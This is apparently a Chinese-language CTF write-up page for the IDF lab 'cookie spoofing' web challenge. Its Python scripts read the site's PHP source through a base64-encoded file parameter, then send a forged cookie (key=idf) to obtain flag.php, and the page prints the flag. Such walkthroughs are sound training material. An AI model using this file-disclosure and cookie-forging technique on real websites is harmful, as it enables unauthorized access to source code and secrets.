CTF
  • Introduction
  • IDF 实验室
    • 牛刀小试
      • 被改错的密码
      • ASCII 码而已
      • 聪明的小羊
      • 摩斯密码
      • 啥?
    • CRYPTO 百密一疏
      • 笨笨的小猪
      • 凯撒加密
      • 孔子的学费
      • 特殊的日子
      • 伟人的名字
    • WEB天罗地网
      • COOKIE欺骗
      • 不难不易的js加密
      • 超简单的js题
      • 古老的邮件编码
      • 简单的js解密
      • 你关注最新的漏洞吗
      • 一种编码而已
    • STEGA万里寻踪
      • 图片里的秘密
      • 上帝也哭泣
      • 红与黑
    • PPC初探乾坤
      • 简单编程-字符统计
      • Fuck your brain
      • 谁是卧底
    • REVERSE倒行逆施
      • 简单的PE文件逆向
      • 简单的ELF逆向
      • python ByteCode
    • MISC包罗万象
      • 图片里的英语
      • 抓到一只苍蝇
  • 实验吧
    • WEB
      • 登陆一下好吗??
      • 注入
      • 简单的sql注入
      • Forms
Powered by GitBook
On this page
  • 问题
  • write up
  • 代码

Was this helpful?

  1. IDF 实验室
  2. WEB天罗地网

COOKIE欺骗

PreviousWEB天罗地网Next不难不易的js加密

Last updated 5 years ago

Was this helpful?

问题

这里这里→

write up

百度了半天,虽然得到了题解。但是题解用的python代码涉及到的都是没用过的python库。于是自己去搜索urllib之类的学习。。。没学习关于cookie的东西,或者说自己懒得学。

最后还是打算依据题解的代码去学习,结果发现这是一个requests库, 利用命令 pip install requests 把他安装了,然后我也可以用题解的代码了,good

就是要发送一个自己伪造的cookies给网站,至于用python怎么发送就看代码了。然后网上的人说用firebug也可以,但是我不会啊!

总之就是利用第三方库requests来完成,话说代码好简洁!

代码

最终代码

# -*- coding: utf-8 -*-
# version: Python3.X
__author__ = '__L1n__w@tch'

# url: http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ
# 思路:
# 1. 看原始url,里面的file=,怀疑是base64,试一下, 加上2个等于号解密得到flag.txt
# 2. 试一下获取index.php的内容
# 3. 从index.php源码知道要获取flag.php的内容,同时得加个cookie["key"]

import base64
import requests


def main():
    index_php = get_index_php()
    print(index_php)
    flag_php = get_flag_php()
    print(flag_php)


def get_flag_php():
    print("Start to get flag.php: ")
    flag_source_code = str()
    cookies = {"key": "idf"}
    file = base64.b64encode(b"flag.php").decode("utf8")
    url = "http://ctf.idf.cn/game/web/40/index.php?line={}&file={}".format(0, file)
    flag_source_code += requests.get(url, cookies=cookies).text

    return flag_source_code


def get_index_php():
    print("Start to get index.php: ")
    source_code = str()
    index_url = base64.b64encode(b"index.php").decode("utf8")
    for i in range(20):
        url = "http://ctf.idf.cn/game/web/40/index.php?line={}&file={}".format(i, index_url)
        response = requests.get(url)
        source_code += response.text

    return source_code


if __name__ == "__main__":
    main()

运行完得到结果: <?php $flag='wctf{idf_c00kie}'; ?>

其余代码

import urllib.request

def url_open( url ) :
    req = urllib.request.Request( url )
    response = urllib.request.urlopen( url )
    html = response.read()

    return html

def download() :
    for i in range( 20 ) :
        url = 'http://ctf.idf.cn/game/web/40/index.php?line=' + str( i ) + '&file=aW5kZXgucGhw'
        html = url_open( url )
        html = html.decode( 'utf-8' )
        print( html,end=' ' )

if __name__ == '__main__' :
    download()
# -*- coding: utf-8 -*- # #用中文字符改变编码方式为UTF-8

#_author_楠
import requests  #调用url、cookie操作 文件操作的库
import sys

cookies = {'key' : 'idf'} #设置cookies为key值为idf 即cookies欺骗

for i in range(0,3): #循环打开网页并抓取网页文本信息存入本地
   url="http://ctf.idf.cn/game/web/40/index.php?line=" + \
        str(i) + "&file=ZmxhZy5waHA="
   wp = requests.get(url, cookies=cookies)
   print( wp.text )
   with open( './flag.txt','a+' ) as f :
      print( f.tell() )
      f.seek( 0,0 )
      f.write( wp.text )

print("get flag success")
http://ctf.idf.cn/game/web/40/index.php